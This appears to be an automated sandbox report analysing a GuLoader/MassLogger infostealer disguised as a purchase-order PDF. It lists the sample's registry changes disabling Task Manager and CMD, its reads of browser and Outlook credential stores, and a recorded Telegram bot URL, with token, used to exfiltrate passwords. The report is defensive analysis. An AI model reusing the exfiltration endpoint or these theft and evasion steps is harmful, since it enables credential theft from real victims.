Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Thread delayed: delay time: 594250	Jump to behavior

Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.00000000025CD000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.0000000002578000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	API call chain: ExitProcess graph end node			graph_0-3761
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	API call chain: ExitProcess graph end node			graph_0-3941

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Code function: 0_2_00403C41 SetWindowPos,ShowWindow,DestroyWindow,SetWindowLongW,GetDlgItem,SendMessageW,IsWindowEnabled,SendMessageW,GetDlgItem,LdrInitializeThunk,GetDlgItem,GetDlgItem,SetClassLongW,LdrInitializeThunk,SendMessageW,LdrInitializeThunk,GetDlgItem,ShowWindow,KiUserCallbackDispatcher,EnableWindow,LdrInitializeThunk,GetSystemMenu,EnableMenuItem,SendMessageW,LdrInitializeThunk,SendMessageW,SendMessageW,lstrlenW,SetWindowTextW,DestroyWindow,CreateDialogParamW,GetDlgItem,GetWindowRect,ScreenToClient,SetWindowPos,ShowWindow,DestroyWindow,EndDialog,ShowWindow,

0_2_00403C41

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Process created: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Queries volume information: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Code function: 0_2_00406077 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406077

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PURCHASE ORDER TRC-090971819130-24_pdf.exe PID: 4796, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PURCHASE ORDER TRC-090971819130-24_pdf.exe PID: 4796, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PURCHASE ORDER TRC-090971819130-24_pdf.exe PID: 4796, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PURCHASE ORDER TRC-090971819130-24_pdf.exe PID: 4796, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PURCHASE ORDER TRC-090971819130-24_pdf.exe PID: 4796, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	215 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	21 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PURCHASE ORDER TRC-090971819130-24_pdf.exe	55%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.208.238	true	false	high
drive.usercontent.google.com	172.217.17.65	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032D8D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032F9D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.0000000002578000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032C08000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BF0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2344704547.0000000002614000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2344614634.00000000025E5000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032D8D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BCF000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BF0000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032F9D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2289923775.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/J	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.0000000002578000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032D8D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BF0000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032F9D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	PURCHASE ORDER TRC-090971819130-24_pdf.exe	false	high
http://api.telegram.org	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032D8D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032F9D000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org(-	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032EFB000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032B71000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/xs	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2344704547.0000000002614000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000003.2344614634.00000000025E5000.00000004.00000020.00020000.00000000.sdmp, PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3290961406.00000000025E5000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/O5	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3314213089.00000000354E1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	PURCHASE ORDER TRC-090971819130-24_pdf.exe, 00000003.00000002.3312322172.0000000032BF0000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
172.217.17.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
216.58.208.238	drive.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578319
Start date and time:	2024-12-19 15:28:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PURCHASE ORDER TRC-090971819130-24_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@6/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 154 Number of non-executed functions: 112
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PURCHASE ORDER TRC-090971819130-24_pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
09:29:39	API Interceptor	346430x Sleep call for process: PURCHASE ORDER TRC-090971819130-24_pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	chrome11.exe	Get hash	malicious	Unknown	Browse
	chrome11.exe	Get hash	malicious	Unknown	Browse
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse
104.21.67.152	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	0001.exe	Get hash	malicious	Snake Keylogger	Browse
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	87h216Snb7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse
132.226.247.73	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	0001.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	DEC 2024 RFQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Request for quote.doc	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Hesap_Hareketleri_10122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	HUSDGHCE23ED.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	0001.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
reallyfreegeoip.org	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	HUSDGHCE23ED.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	0001.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	Invoice.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
api.telegram.org	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	149.154.167.220
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
CLOUDFLARENETUS	Eallentoff_401k_1484013830.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Hkeyboard.dll	Get hash	malicious	Unknown	Browse	104.21.40.214
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.13.202.149
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.67.146
	Non-Disclosure Agreement.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	rs.lnk.d.lnk	Get hash	malicious	Unknown	Browse	172.67.211.185
	ny.lnk.d.lnk	Get hash	malicious	Unknown	Browse	104.21.93.157
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
UTMEMUS	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	0001.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	132.240.253.211
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	132.244.23.61
